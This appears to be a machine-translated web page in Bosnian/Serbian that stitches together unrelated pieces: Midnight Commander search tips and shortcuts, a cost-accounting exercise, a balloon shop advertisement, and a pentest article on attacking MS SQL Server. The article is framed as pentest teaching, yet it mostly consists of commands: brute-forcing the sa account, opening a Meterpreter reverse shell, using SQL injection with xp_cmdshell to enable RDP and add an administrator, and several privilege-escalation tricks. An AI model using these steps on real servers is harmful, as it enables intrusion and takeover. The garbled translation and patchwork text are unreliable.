Metode i alati za hakovanje MS SQL baza podataka. Baloni iz "MF Poisk"

Prilikom upotrebe spreman softverskih proizvoda, Na primjer CMS Joomla, često se morate suočiti s činjenicom da se u rezultatima programa pojavljuje neka poruka o grešci ili upozorenje, ali ne detaljne informacije gdje se nalazi ovaj dio koda. U ovim slučajevima, najlakši način je korištenje pretraživanja datoteka u Ponoćni komandant po liniji. Hajde da vidimo kako to uraditi.

Obično je poznata približna lokacija datoteke sa potrebnim fragmentom koda. Stoga, prije svega, idemo u direktorij u kojem se ova datoteka može nalaziti.

IN kontekstni meni u polju" Počnite na:» ( Iz kataloga ) ostavimo poentu: već smo u željenom direktoriju koji sadrži datoteku koju tražimo. Ali odabirom opcije T ree" ( D drvo), možete odabrati drugi direktorij za pretraživanje.

Kontekstno polje „Ena b ignoriraj direktorije" ( I ignorirati direktorije) može biti ostavljeno prazno ako ne želite da isključite poznate direktorije iz pretraživanja kako biste suzili pretragu.

u polju" ime dokumenta» ( Šablon imena ) morate unijeti naziv datoteke ili obrazac naziva datoteke. Šablon koristi ? za bilo koji lik ili * za bilo koji broj bilo kojih znakova. Ako ne znamo ništa ni o nazivu ni o ekstenziji datoteke, slobodno unesite *.* .

Po želji odaberite:

  • « F ind rekurzivno" ( Pronađite re To urzivno)
  • « U pjevaj uzorke školjki" ( M ljuska metaznakovi)
  • „Cas e osjetljivo" ( Atčak i slučaj)
  • « A ll charsets" ( IN sva kodiranja)
  • „S k IP skriven" ( preskoči scr s ti si e)

u polju" sadržaja» ( Sadržaj ) ulazimo u red koji će Midnight Commander morati pronaći u svim datotekama na koje naiđe.

Po želji odaberite:

  • More r ch za sadržaj" ( Pretraga po sadržaju i imomu) ← OVA OPCIJA JE POTREBNA ZA PRETRAŽIVANJE NIZA
  • „Re g ularni izraz" ( R regularni izraz)
  • Slučaj za slučaj i tive" ( Računovodstvo re G istra)
  • „A l lcharsets" ( Ned e kodiranja)
  • « W rupe riječi" ( WITH ceo ulov)
  • „Jela s t pogodio" ( Prije prvog X odjeća)

Počinjemo pretragu" O k" ( D dalje), zaustavi sa " C ansel" ( P break).

Nakon što program prođe kroz sve fajlove, prikazaće ih kao listu direktorijuma koji sadrže datoteke sa podudaranjima + same datoteke sa brojevima linija u kojima su pronađena podudaranja sa frazom za pretragu.

Općenito, mega-praktičan program kada tražite ono što znate, ali ne znate gdje konkretno tražiti. :)

U tabeli je prikazana zavisnost ukupnih troškova preduzeća od outputa. Izračunajte troškove: fiksni, varijabilni, prosječni ukupni, prosječni fiksni, prosječni varijabilni. U tabeli popunite kolone FC, VC, MC, ATC, AFC, AVC:

Ukupni troškovi, TC, str.FCVCMCATCAVCA.F.C.
0 60
1 130
2 180
3 230
4 300

Rješenje:

fiksni troškovi ( fiksni trošak) su oni troškovi koji ne zavise od količine proizvedenih proizvoda ili usluga. Bez obzira koliko firma proizvodi proizvod, vrijednost fiksnih troškova se ne mijenja. Čak i ako firma nije proizvela ni jednu jedinicu proizvodnje, ona ima troškove, na primjer, to može biti iznajmljivanje sobe, plaćanje grijanja, plaćanje kredita itd.

Dakle, FC za bilo koji volumen proizvodnje će biti jednak 60 rubalja.

Varijabilni troškovi ( Varijabilni troškovi) su troškovi koji se mijenjaju s promjenama u obimu proizvoda ili usluga. Zajedno sa fiksnim troškovima, oni su jednaki vrijednosti ukupnih troškova ( Ukupni troškovi):

TC=FC+VC.

Odavde:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 - 60 = 240.

granični trošak ( marginalni trošak) je povećanje troškova povezano s oslobađanjem dodatne jedinice proizvodnje.

MC = ∆TC / ∆Q

Budući da je u ovom zadatku povećanje proizvodnje uvijek jednako 1, ovu formulu možemo prepisati na sljedeći način:

MC = ∆TC / 1 = ∆TC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70.

Prosječni ukupni troškovi ( Prosječni ukupni troškovi) je trošak proizvodnje jedne jedinice proizvoda.

ATC=TC/Q

ATC(1) = TC(1) / 1 = 130 / 1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC(3) = TC(3) / 3 = 230 / 3 = 76,67,

ATC(4) = TC(4) / 4 = 300 / 4 = 75.

Prosječni fiksni troškovi ( Prosječni fiksni troškovi) je fiksni trošak po jedinici proizvodnje.

AFC=FC/Q

AFC(1) = FC(1) / 1 = 60 / 1 = 60,

AFC(2) = FC(2) / 2 = 60 / 2 = 30,

AFC(3) = FC(3) / 3 = 60 / 3 = 20,

AFC(4) = FC(4) / 4 = 60 / 4 =15.

Prosječni varijabilni troškovi ( Prosječni varijabilni troškovi) je varijabilni trošak proizvodnje jedne jedinice proizvodnje.

AVC=VC/Q

AVC(1) = VC(1) / 1 = 70 / 1 = 70,

AVC(2) = VC(2) / 2 = 120 / 2 = 60,

AVC(3) = VC(3) / 3 = 170 / 3 = 56,67,

AVC(4) = VC(4) / 4 = 240 / 4 =60.

Poznavajući ATC i AFC, prosječni varijabilni troškovi se također mogu naći kao razlika između prosječnih ukupnih i prosječnih fiksnih troškova:

AVC=ATC-AFC

Popunite praznine u tabeli:

Izdanje po jedinici vremena, Q, kom.Ukupni troškovi, TC, str.FCVCMCATCAVCA.F.C.
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

Generale

Ctrl+x,j - Prikaži pozadinske zadatke

Ctrl-X+A - trenutni VFS (ftp, itd.)

ESC+cifra - isto kao i F(cifra) (ESC+5 = F5)

F1-F12

F3 - Pregledajte datoteku

F3 - (Tokom uređivanja) Pokreni odabir teksta. Ponovnim pritiskom na F3 završava se odabir

F4 - Uredi datoteku

F5 - Kopiraj odabir

F6 - Pomjeri odabir

F8 - Brisanje odabira

Shift+F1 - poziva meni za brzi prelaz između tačaka montiranja na lijevoj ploči

Shift+F2 - poziva meni za brzi prelaz između tačaka montiranja na desnom panelu

Shift+F5 - kopirajte datoteku u isti direktorij

Shift+F6 - premjestiti/preimenovati datoteku u isti direktorij

Traži

ctrl-s- Brza pretraga fajl ili direktorijum

alt-shift-? - Poziva se meni napredne pretrage datoteka

Komandna linija

ctrl-a - kursor na početak

ctrl-e - kursor do kraja

itd-! - izvršiti naredbu s parametrima

ctrl-x, p ili alt+a - zalijepi ime direktorija

esc, enter; ctrl-enter - poslati trenutni objekt na komandna linija

ctrl-x,t - Zalijepite sve odabrane objekte na komandnu liniju

esc, tab - završetak naredbe

alt-a - zalijepi trenutni direktorij u komandnu liniju

Alt-TAB (ESC+TAB) - Najbolja kombinacija za pronalaženje datoteka za preuzimanje (na primjer, zaboravili ste kako se piše netcfg ili netconfig. Samo upišite net u komandnu liniju i pritisnite Alt-TAB - odmah će vam biti prikazano šta možete run, koja počinje riječima net) pritisnite dvaput!
alt-shift-! - izlaz rezultata naredbe
ctrl-shift-v - zalijepi iz međuspremnika

Operacije na fajlovima

Shift+F4 - Kreira novu datoteku

shift-f6 - preimenuj datoteku

ctrl+x, i Brzi pregled informacije o trenutnom objektu na drugom panelu

Ctrl+x,q - Brzi pregled sadržaja datoteke u drugom panelu

alt-. - prikaži skrivene datoteke

ctrl-x, c - dozvole datoteke

ctrl-x, o - vlasnik datoteke

Shift-F3 - pogledajte datoteku (neobrađeno/bez ekstenzije)

Ctrl + x v - kreirajte relativnu simboličku vezu

trl+x,Ctrl+s - Uređivanje simboličke veze

ctrl-t - označiti ili demarkirati datoteku

+ - izaberite (označite) grupu datoteka regularnim izrazom

\ - poništite izbor grupe datoteka

ctrl-x, ctrl-d - uporedite datoteke

ctrl-t ili Insert - Odaberite trenutni objekt

Rad sa imenicima

alt-o - otvorite direktorij ispod kursora u susjednom panelu

alt-i - otvori trenutni direktorij u susjednom panelu

trl-\ - prikaži "Directory Directory"

alt-shift-h - Prikaži istoriju direktorijuma

Ctrl+l - Ponovno crtanje ekrana

Ctrl+Space - Prikaži veličinu trenutnog direktorija

Ctrl-X+D - uporedi direktorije

ESC+C - brza promjena direktorija

alt-c - prozor "Brza promjena direktorija".

Rad sa panelima

Ctrl-O - isključite panele i pogledajte šta je ispod njih (radi SAMO u linuxu!) Ovdje možete raditi u ljusci.

alt-, — Prebacite način prikaza panela (vertikalno/horizontalno)

alt-t prebacuje način prikaza detaljnog panela

Meta + c - Poziva se meni za brzu promenu trenutnog direktorijuma na aktivnom panelu

ctrl-u - zamjena panela

alt-g - označava prvu datoteku ili direktorij na prikazanoj listi na panelu (u suštini kao tipka Home, podiže kursor prema gore)

alt-e - promjena kodiranja panela

Ctrl + x i - stavlja pasivni panel u "Info" mod

Ctrl + x q - stavlja pasivni panel u način brzog pregleda

ctrl x ! - meni → "Kriterijum panelizacije" (git)

Priča

alt+h; esc, h - istorija komandne linije

alt-p, alt-n - vraćanje prethodne (sljedeće) komandne linije

alt-y. Prelazak na prethodni direktorij iz povijesti navigacije direktorija; je ekvivalentno klikanju na simbol '<‘ в верхнем углу панели.

alt-u. Prelazak na sljedeći direktorij iz povijesti navigacije direktorija; je ekvivalentno klikanju na simbol '>' mišem.

Urednik

F4 (u editoru) - pretraži i zamijeni

F6 (u editoru) - pretraživanje pomoću regularnog izraza

Shift-Del (u editoru) - obrišite blok (i stavite ga u međuspremnik)

Shift-Ins (u editoru) - zalijepi blok iz međuspremnika (radi čak i na drugoj konzoli!!!) Možete uređivati ​​dva ili više fajlova na različitim konzolama i premještati blokove između njih.

Shift+F3 - Počnite birati blok teksta. Ponovnim pritiskom na F3 završava se odabir

Shift+F5 - Zalijepite tekst iz internog međuspremnika mc-a (čitajte vanjski fajl)

Meta + i - Prebacivanje režima "Automatsko poravnanje povratka nosača", korisno pri lijepljenju formatiranog teksta iz međuspremnika

Meta+l - Skoči na red po broju reda

Meta + q - Ubacite literal (znak koji se ne može ispisati). tabela ispod

Meta+t - Sortiranje redova odabranog teksta

Meta+u - Izvršite eksternu naredbu i zalijepite njen izlaz na poziciju ispod kursora

Ctrl + f - Donesite odabrani fragment u interni međuspremnik mc (upišite u vanjski fajl)

Ctrl+k - Brisanje dijela reda do kraja reda

Ctrl+n - Kreirajte novu datoteku

Ctrl+s - Uključite ili isključite isticanje sintakse

Ctrl+t - Odaberite kodiranje teksta

Ctrl+u - Poništi radnje

Ctrl+x - Idi na kraj sljedećeg

Ctrl+y - Brisanje linije

Ctrl+z - Idi na početak prethodne riječi

Meta+Enter - Dijalog za prelazak na definiciju funkcije

Meta+- — Povratak nakon prelaska na definiciju funkcije

Meta++ - Idi naprijed na definiciju funkcije

Meta+n - Omogući/onemogući prikaz brojeva linija

tab Pomera izabrani tekst udesno ako je opcija Persistent Blocks onemogućena

Meta-kartica Pomiče odabrani tekst ulijevo ako je opcija Persistent Blocks onemogućena

Shift+strelice Odaberite tekst

Meta+Strelice Odaberite vertikalni okvir

Meta + Shift + - Promjena načina prikaza tabova i razmaka

Meta+Shift++ Prebacivanje načina rada "Automatsko poravnanje povratnog nosača"

Organizovanje odmora je težak zadatak. Ima toliko stvari o kojima treba razmišljati i voditi računa. Kompanija MF Poisk pojednostavljuje jedan od zadataka - dekoraciju. Sakupili smo katalog robe za praznike, koji sadrži mnoga sredstva za dekorativno uređenje prostorija i male stvari korisne za održavanje proslava.

Katalog robe za praznik: sastavljanje liste za kupovinu

Katalog MF Search se može nazvati gotova lista za kupovinu. Ima zgodnu i detaljnu strukturu. Kod nas možete kupiti:

  • Pribor za vjenčanje. Trake, konfete, brave, dekor za hodnik i auto i još mnogo toga.
  • Sve za karneval. U ovom odjeljku ćete pronaći dodatke potrebne za kostimiranu zabavu, novogodišnji karneval, Noć vještica, tematski rođendan itd.
  • Posuđe za jednokratnu upotrebu. Stol nije uvijek postavljen porculanom i keramikom. Na primjer, za posluživanje dječjeg stola ili za proslavu rođendana u uredu, prikladnije je koristiti papirne tanjure i čaše.
  • Igračke za zabavu i mjehurići od sapunice. Kako se djeci ne bi dosadilo na odmoru, potrebno je unaprijed voditi računa o njihovom slobodnom vremenu. Kakav rezultat! Prikupili smo sve potrebne potrepštine, samo mu morate pronaći upotrebu.
  • Flappers i sparklers. Oni će praznik učiniti svetlim i nezaboravnim.
  • Svijeće. Ukrasite tortu, provedite romantično veče, napravite iznenađenje - za svaku priliku postoji set svijeća.

Baloni iz "MF Poisk"

MF Poisk je najveći dobavljač balona. Sarađujemo sa proizvođačima iz SAD, Španije, Meksika. Dajemo sertifikate kvaliteta i pružamo najkompletniji asortiman balona tako da možete kreirati svoju jedinstvenu kompoziciju za svaki događaj. Sve balone u našem katalogu možemo podijeliti na lateks i foliju.

  • Latex. Mogu se birati ovisno o boji, veličini, obliku, temi. Bavimo se prodajom balona sa i bez dezena, a pružamo i uslugu nanošenja logotipa. Osim klasičnih opcija, nudimo i neobične - udarne lopte, poveznice, kovrdžave lopte i za modeliranje.
  • Folija. Ima i dosta izbora: hodanje, veliko, mini, u obliku brojeva. Radi lakšeg izbora, sortirali smo proizvode po temama, lako možete otići u odjeljak sa proizvodima za vjenčanja, rođendane, Nove godine i druge posebne prilike.

Odvojeno smo postavili dodatke za lopte, poput štapova ili utega. Dizajnere će zanimati deo sa opremom - helijumski cilindri, pumpe, mastilo za štampu.

Zašto odabrati MF Search?

  • Najveći katalog loptica.
  • Javni sertifikati kvaliteta.
  • Minimalni iznos narudžbe dostupan je svakom kupcu, bez obzira na obim događaja.
  • Sve potrepštine za odmor na jednom mjestu.
  • Popusti za veliku veleprodaju.

Trudimo se da Vaš boravak na stranici bude ugodan, stoga smo kreirali odvojene sekcije sa novim proizvodima, bestselerima, kao i najavama "Uskoro". Kod nas ćete se pobrinuti da Vam odmor bude lako organizirati!

Gotovo nijedan ozbiljan pentest nije potpun bez provjere DBMS-a, jer je to jedna od najpopularnijih vrata za napadače do željenih informacija i mašine. U velikim projektima, MS se često koristi kao DBMS. SQL Server. A danas ćemo razgovarati o provjeri njegove sigurnosti. Nećemo otvarati Ameriku - iskusni drugovi će samo osvježiti svoje znanje, ali za one koji tek počinju da savladavaju temu, pokušao sam sve što detaljnije raščlaniti.

UPOZORENJE!

Sve informacije su date samo u informativne svrhe. Ni autor ni uredništvo nisu odgovorni za bilo kakvu moguću štetu uzrokovanu materijalima ovog članka.

Uvod

Jedan od najvažnijih kriterijuma pouzdanosti informacioni sistem- DBMS sigurnost. Napadi usmjereni na njega su u većini slučajeva kritični, jer mogu djelomično ili potpuno poremetiti performanse sistema. Budući da su velike organizacije davno formirale svoju infrastrukturu i ažuriranje na nove verzije softvera im stvara “velike” probleme, najčešće verzije su i dalje MS SQL Server 2005 i MS SQL Server 2008. Ali to su samo statistike, a dalje ćemo razmotriti vektore i tehnike zajedničke za sve verzije. Radi praktičnosti, uvjetno ćemo podijeliti cijeli pentest proces u nekoliko faza.

Kako pronaći MS SQL

Prva stvar koju pentester počinje da radi je prikupljanje informacija o uslugama koje se nalaze na serveru žrtve. Najvažnija stvar koju treba znati kada pretražujete Microsoft SQL Server su brojevi portova na kojima on sluša. I sluša portove 1433 (TCP) i 1434 (UDP). Da biste provjerili postoji li MS SQL na serveru žrtve, potrebno je da ga skenirate. Da biste to učinili, možete koristiti Nmap sa ms-sql-info skriptom. Skeniranje će početi ovako:

nmap -p 1433 --script=ms-sql-info 192.168.18.128

Pa, rezultat njegovog izvršenja prikazan je na Sl. 1.

Pored Nmap-a, postoji odličan modul za skeniranje za Metasploit mssql_ping, koji vam takođe omogućava da utvrdite prisustvo MS SQL-a na napadnutom serveru:

Msf> koristi pomoćni/skener/mssql/mssql_ping msf auxilary(mssql_ping) > postavi RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > pokreni

Koristeći jednu od ovih opcija, možete brzo utvrditi da li je MS SQL instaliran na serveru, kao i saznati njegovu verziju. Nakon toga možete preći na sljedeću fazu.


brute force

Recimo da smo pronašli DBMS na serveru. Sada je zadatak dobiti pristup tome. I tu nas susreće prva prepreka u vidu autentifikacije. Općenito, MS SQL podržava dvije vrste autentifikacije:

  1. Windows autentifikacija – pouzdana veza u kojoj SQL Server prihvaća korisnički račun pod pretpostavkom da je već autentificiran na operativni sistem.
  2. Mješoviti način - autentifikacija pomoću SQL Servera + Windows autentikacija.

Podrazumevano se koristi prvi način provjere autentičnosti, a mješoviti način se aktivira zasebno. U praksi je prilično teško naći bazu bez mješovitog načina rada - fleksibilniji je.

Neke prednosti mješovitog načina rada

  • Omogućava SQL Serveru da podržava starije aplikacije, kao i aplikacije trećih strana koje zahtijevaju SQL Server autentifikaciju.
  • Omogućava SQL Serveru da podržava okruženja sa više operativnih sistema u kojima korisnici ne provjeravaju autentičnost na Windows domenu.
  • Dozvoljava programerima softver Distribuirajte svoje aplikacije kroz složenu hijerarhiju dozvola zasnovanu na dobro poznatim, unaprijed uspostavljenim prijavama na SQL Server.

Obično uključen ovoj fazi nemamo pristup korporativnoj mreži, stoga ne možemo koristiti Windows autentifikaciju. Ali našli smo otvoreni port sa MS SQL-om, što znači da pokušavamo da hakujemo sa administratorski nalog, što je standardno za mešoviti način rada. Za automatizaciju procesa koristimo Metasploit modul mssql_login:

Msf > koristi pomoćni/skener/mssql/mssql_login msf auxiliary(mssql_login) > postavi RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf pomoćni (mssql_login. 1433 - MSSQL - Pokretanje skenera za autentifikaciju. [*] 172.16.2.104:1433 - PRIJAVA NEUSPELA: RADNA STANICA\sa:admin (Netačno:) [*] 172.16.2.104:1433 - PRIJAVA NEUSPELA: RADNA STANICA\sa:qwerty (Netačno:) 2.04.6 - PRIJAVA NEUSPEŠNA: WORKSTATION\sa:toor (Netačno:) [+] 172.16.2.104:1433 - PRIJAVA USPJEŠNA: WORKSTATION\sa:root [*] Skeniran 1 od 1 hosta (100% kompletan) [*] Pomoćni kompletan modul exe

Odlično! Lozinka je pronađena, sada možemo preći na sljedeći korak. Ali šta ako na serveru nema sa naloga? Tada ćete morati brutirati i login, za što će biti potrebno reći skripti još jedan fajl odakle će ih dobiti:

Msf auxiliary(mssql_login) > postavite USER_FILE /root/Desktop/user.txt

Uzimanje školjke

Ako smo uspjeli brutirati sa nalog, možemo se prijaviti u bazu podataka. Dalje, skripta je jednostavna - uključujemo uskladištenu proceduru koja nam omogućava da izvršimo komande na nivou operativnog sistema i otpremimo Meterpreter ljusku na server. Super momci su napisali odličan mssql_payload modul za Metasploit koji automatizuje ovaj proces:

Msf > koristi exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > postavi RHOST 172.16.2.104 msf exploit(mssql_payload) > postavi USERNAME sa USERNAME => sa msf exploit(mssql_payload) mssql_payload) > postavi PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp ) [*] Meterpreter sesija 1 otvorena (172.16.2.105:4444 -> 172.16.2.104)- na 29020:29025 52 -0500 meterpreter >

Meterpreter sesija kreirana, sada imate pun pristup. Možete izbaciti admin hash, napraviti snimke ekrana, kreirati/brisati datoteke, omogućiti/onemogućiti miš ili tastaturu i još mnogo toga. Možda je ovo najpopularnija školjka koja se koristi u testovima penetracije. Cijela lista Komande Meterpretera mogu se proviriti.

Šta učiniti ako korisničko ime/lozinka nije razbijena?

Ali nemojte se laskati, modul mssql_login vam neće često ugoditi: administratori vrlo rijetko ostavljaju zadanu lozinku. U ovom slučaju, SQL injekcija će nam pomoći da dobijemo ljusku. Zamislite HTML obrazac u koji korisnik unosi broj artikla i jednostavan upit za ranjivu bazu podataka, a sve se izvodi pod sa administratorskim računom:

$strSQL = "SELECT * FROM . WHERE id=$id";

Varijabla $id nije filtrirana ni na koji način, što znači da je moguće izvršiti SQL injekciju u kojoj će se izvršiti bilo koji zahtjev ispod sa administratorskog naloga. Da biste izvršili komande na nivou operativnog sistema, morate omogućiti uskladištenu proceduru xp_cmdshell, koja je podrazumevano onemogućena. Moramo poslati četiri zahtjeva da ga aktiviramo:

  1. EXEC sp_configure "prikaži napredne opcije",1;
  2. rekonfigurirati;
  3. ‘exec sp_configure "xp_cmdshell",1;
  4. rekonfigurirati

Sistemska pohranjena procedura sp_configure omogućava vam da vidite, dokumentirate, modificirate i vratite konfiguraciju poslužitelja. Najlakši način da pristupite serveru je da omogućite RDP preko registra, kreirate korisnika sa administratorskim pravima i povežete se.

Omogući RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Kreirajte korisnika:

10; exec master.dbo.xp_cmdshell "net user root ili /ADD"

Dajemo prava:

10;exec master.dbo.xp_cmdshell "net localgroup administrators root/add"

Eskalacija privilegija. POVERLJIVO

U prethodnom slučaju, zahtjev bazi podataka je napravljen u ime administratora, pa je stoga bilo tako lako izvršiti komande operativnog sistema. Ali šta ako imamo skraćeni nalog koji nema prava da omogući xp_cmdshell? U ovom slučaju će nam pomoći pohranjene procedure i aktivirano svojstvo TRUSTWORTHY baze podataka.

Ali počnimo od samog početka. Radi veće jasnoće ovog vektora, opisat ću cijelu fazu u fazi konfiguriranja baze podataka i računa. Mi stvaramo nova baza YOLO: KREIRANJE BAZE PODATAKA YOLO; . Kreirajte novog korisnika bob sa lozinkom marley: CREATE LOGIN bob WITH PASSWORD = "marley"; Dodijelite korisnika bob kao vlasnika YOLO baze podataka:

KORISTI YOLO ALTER LOGIN sa default_database = ; CREATE USER FROM LOGIN ; EXEC sp_addrolemember , ;

Zatim postavljamo svojstvo TRUSTWORTHY, koje određuje hoće li se objektima ove baze podataka (pregledi, korisnički definirane funkcije, pohranjene procedure) dozvoliti pristup objektima izvan ove baze podataka u načinu oponašanja: ALTER DATABASE YOLO SET TRUSTWORTHY ON . Prijavite se na SQL Server koristeći bob:marley nalog.

Kreirajte pohranjenu proceduru za dodjelu račun bob sysadmin privilegije:

KORISTI YOLO GO KREIRAJ PROCEDURU sp_lvlup SA IZVRŠITE KAO VLASNIK KAO EXEC sp_addsrvrolemember "bob","sysadmin" GO

Uvjerimo se da nemamo sysadmin privilegije prije izvršavanja pohranjene procedure:

SELECT is_srvrolemember("sysadmin") rezultat = 0

Hajde da izvršimo sp_lvlup pohranjenu proceduru kreiranu iznad:

KORISTI YOLO EXEC sp_lvlup

Provjerimo ponovo naše privilegije:

SELECT is_srvrolemember("sysadmin") rezultat = 1

sp_lvlup je dizajniran da radi kao VLASNIK, što je u ovom slučaju sa administratorski nalog. Ovo je moguće jer je db_owner kreirao pohranjenu proceduru za svoju bazu podataka, a ta baza podataka je konfigurirana da bude pouzdana, tj. svojstvo TRUSTWORTHY = On. Bez ovog svojstva, procedura se ne bi mogla izvršiti zbog nedostatka privilegija. Aktivirano svojstvo TRUSTWORTTHY nije uvijek loša stvar. Problemi počinju kada administratori ne smanje privilegije vlasnika baze podataka. Kao rezultat toga, nakon izvršavanja sp_lvlup procedure, bob nalogu su dodeljene privilegije sysadmina. Da vidite koje baze imaju omogućeno svojstvo TRUSTWORTHY, možete koristiti sljedeći upit:

SELECT ime, database_id, is_trustworthy_on FROM sys.databases

Ili, da automatizirate cijeli proces, možete koristiti Metasploit modul mssql_escalate_dbowner_sqli:

Koristite auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.1 Sucess! Bob je sada sistemski administrator!

Eskalacija privilegija. Lažno predstavljanje korisnika

Sljedeći vektor se zove impersonacija korisnika. Ponekad pohranjene procedure trebaju pristupiti vanjskim resursima izvan baze aplikacije. Da bi to postigli, programeri koriste privilegiju IMPERSONATE i funkciju EXECUTE AS da izvrše zahtjev u ime drugog naloga. Ovo nije ranjivost sama po sebi, već slaba konfiguracija koja vodi do eskalacije privilegija.

Kao iu prethodnom primjeru, počet ćemo analizirati suštinu vektora u fazi konfiguracije. Prije svega kreiramo četiri naloga:

CREATE LOGIN User1 WITH PASSWORD = "tajna"; CREATE LOGIN User2 WITH PASSWORD = "tajna"; CREATE LOGIN User3 WITH PASSWORD = "tajna"; CREATE LOGIN User4 WITH PASSWORD = "tajna";

Zatim dajemo korisniku User1 privilegije da izvršava zahtjeve u ime sa , User2 , User3:

USEmaster; GRANT IMPERSONATE PRI LOGIN::sa to ; GRANT IMPERSONATE PRI LOGIN::MyUser2 za ; GRANT IMPERSONATE PRI LOGIN::MyUser3 za ; GO

Prijavljujemo se na SQL Server pod korisničkim nalogom User1 i provjeravamo da li su primijenjene privilegije za izvršavanje upita s drugih naloga.

ODABERITE različito b.name IZ sys.server_permissions a INNER JOIN sys.server_principals b NA a.grantor_principal_id = b.principal_id GDJE a.permission_name = "IMPERSONATE"

Sada provjerimo trenutne privilegije:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Rezultat = 0

Pa, sada je sam trik da izvršite zahtjev u ime sa , pošto smo gore dali privilegije User1 nalogu da izvršava zahtjeve u ime sa:

EXECUTE AS LOGIN = "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Rezultat = 1

U redu, sada možemo izvršiti naredbe u ime sa , što znači da možemo uključiti pohranjenu proceduru xp_cmdshell:

EXEC sp_configure "prikaži napredne opcije",1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell",1 RECONFIGURE GO

INFO

Zadani sysadmin nalog može pokretati upite kao i svaki drugi korisnik. Za prikaz tabele sa svim korisnicima, upit će vam pomoći: SELECT * FROM master.sys.sysusers WHERE islogin = 1 . Da izvršite zahtjev u ime drugog naloga, koristite EXECUTE AS LOGIN = "AnyUser" . Da biste se ponovo vratili na prethodni nalog, dovoljno je postaviti upit REVERT.

To je cela poenta. Za automatizaciju, kao i obično, možete koristiti mssql_escalete_executeas_sqli Metasploit modul:

Koristite auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- eksploatacija ... [+] 20.16.16:8. User1 je sada sistemski administrator!

Eskalacija privilegija. Pohranjene procedure potpisane certifikatom

Da opišemo ovaj vektor, napravimo ranjivu pohranjenu proceduru potpisanu certifikatom. Za razliku od prethodnih primjera, eskalacija privilegija ne zahtijeva:

  • svojstvo TRUSWORTHY = Uključeno;
  • IMPERSONATE privilegije i EXECUTE AS funkcija;
  • konfiguraciju pohranjene procedure s klasom WITH EXECUTE AS da bi se izvršila kao drugi račun.

Kreirajmo nalog sa minimalnim pravima:

CREATE LOGIN WITH LASWORD = "loki"; GO -- Podesite podrazumevanu bazu podataka za prijavu ALTER LOGIN sa default_database = ; GO

Isključite svojstvo TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF . I napravimo jednostavnu pohranjenu proceduru sp_xxx koja će prikazati stupac imena iz tempdb baze podataka, kao i iz baze podataka koju je korisnik unio:

USE MASTER; IDI KREIRAJ PROCEDURE sp_xxx @DbName varchar(max) KAO POČETAK Deklariraj @query kao varchar(max) SET @query = "IZABERI ime IZ master..sysdatabaze gdje je ime poput ""%"+ @DbName+"%"" ILI ime=" "tempdb"""; EXECUTE(@query) END GO

Nakon toga ćemo kreirati ključ za šifriranje za MASTER bazu podataka:

CREATE MASTER KEY ENCRYPATION BY PASSWORD = "tajna"; GO

I sertifikat:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = "Da potpišem sp_xxx", EXPIRY_DATE = "2035-01-01"; GO

Sljedeći korak je kreiranje prijave iz sp_xxx certifikata:

NAPRAVI PRIJAVU sp_xxx_login IZ CERTIFIKATA sp_xxx_cert

I potpišite proceduru kreiranim certifikatom:

DODAJ POTPIS u sp_xxx POTVRĐENOM sp_xxx_cert; GO

Dodijelimo sp_lvlup2 sysadmin privilegije za prijavu:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

Dajemo privilegije članovima JAVNE grupe da izvrše proceduru:

GRANT EXECUTE ON sp_xxx za JAVNOST

Kao rezultat, kreirali smo tor korisnika sa minimalnim pravima, sp_xxx pohranjenu proceduru koja prikazuje naziv unesene baze podataka, kreirali sp_xxx_cert certifikat i potpisali pohranjenu proceduru s njim, a također kreirali sp_xxx_login login iz certifikata i dali mu sysadmin privilegije. Ovim je završen pripremni dio. Prijavljujemo se sa tor nalogom i pozivamo pohranjenu proceduru:

EXEC MASTER.dbo.sp_xxx "master"

Kao što se i očekivalo, vratiće ime baze podataka koju smo naveli - master i tempdb (vidi sliku 3).

Rice. 3. Rezultat upita EXEC MASTER.dbo.sp_xxx "master"

Upit poput EXEC MASTER.dbo.sp_sqli2 "master""--" će vratiti samo master (pogledajte sliku 4).

Fig.4. Rezultat EXEC upita MASTER.dbo.xxx "master""--"

Odlično. To znači da je pohranjena procedura podložna SQL injekciji. Provjerimo naše privilegije sljedećim upitom:

EXEC MASTER.dbo.sp_xxx "master"";SELECT is_srvrolember(""sysadmin"")as priv_certsp--";

priv_cersp=1 (vidi sliku 5) znači da imamo privilegije sysadmina. Pokrenite naredbu EXEC master..xp_cmdshell "whoami"; neće raditi, jer tor nalog ima minimalna prava, ali ako se ovaj upit ubaci u SQL injekciju, onda će sve raditi (slika 6).

Ono što je najzanimljivije, takav trik će raditi u verzijama 2005-2014.

Zaključak

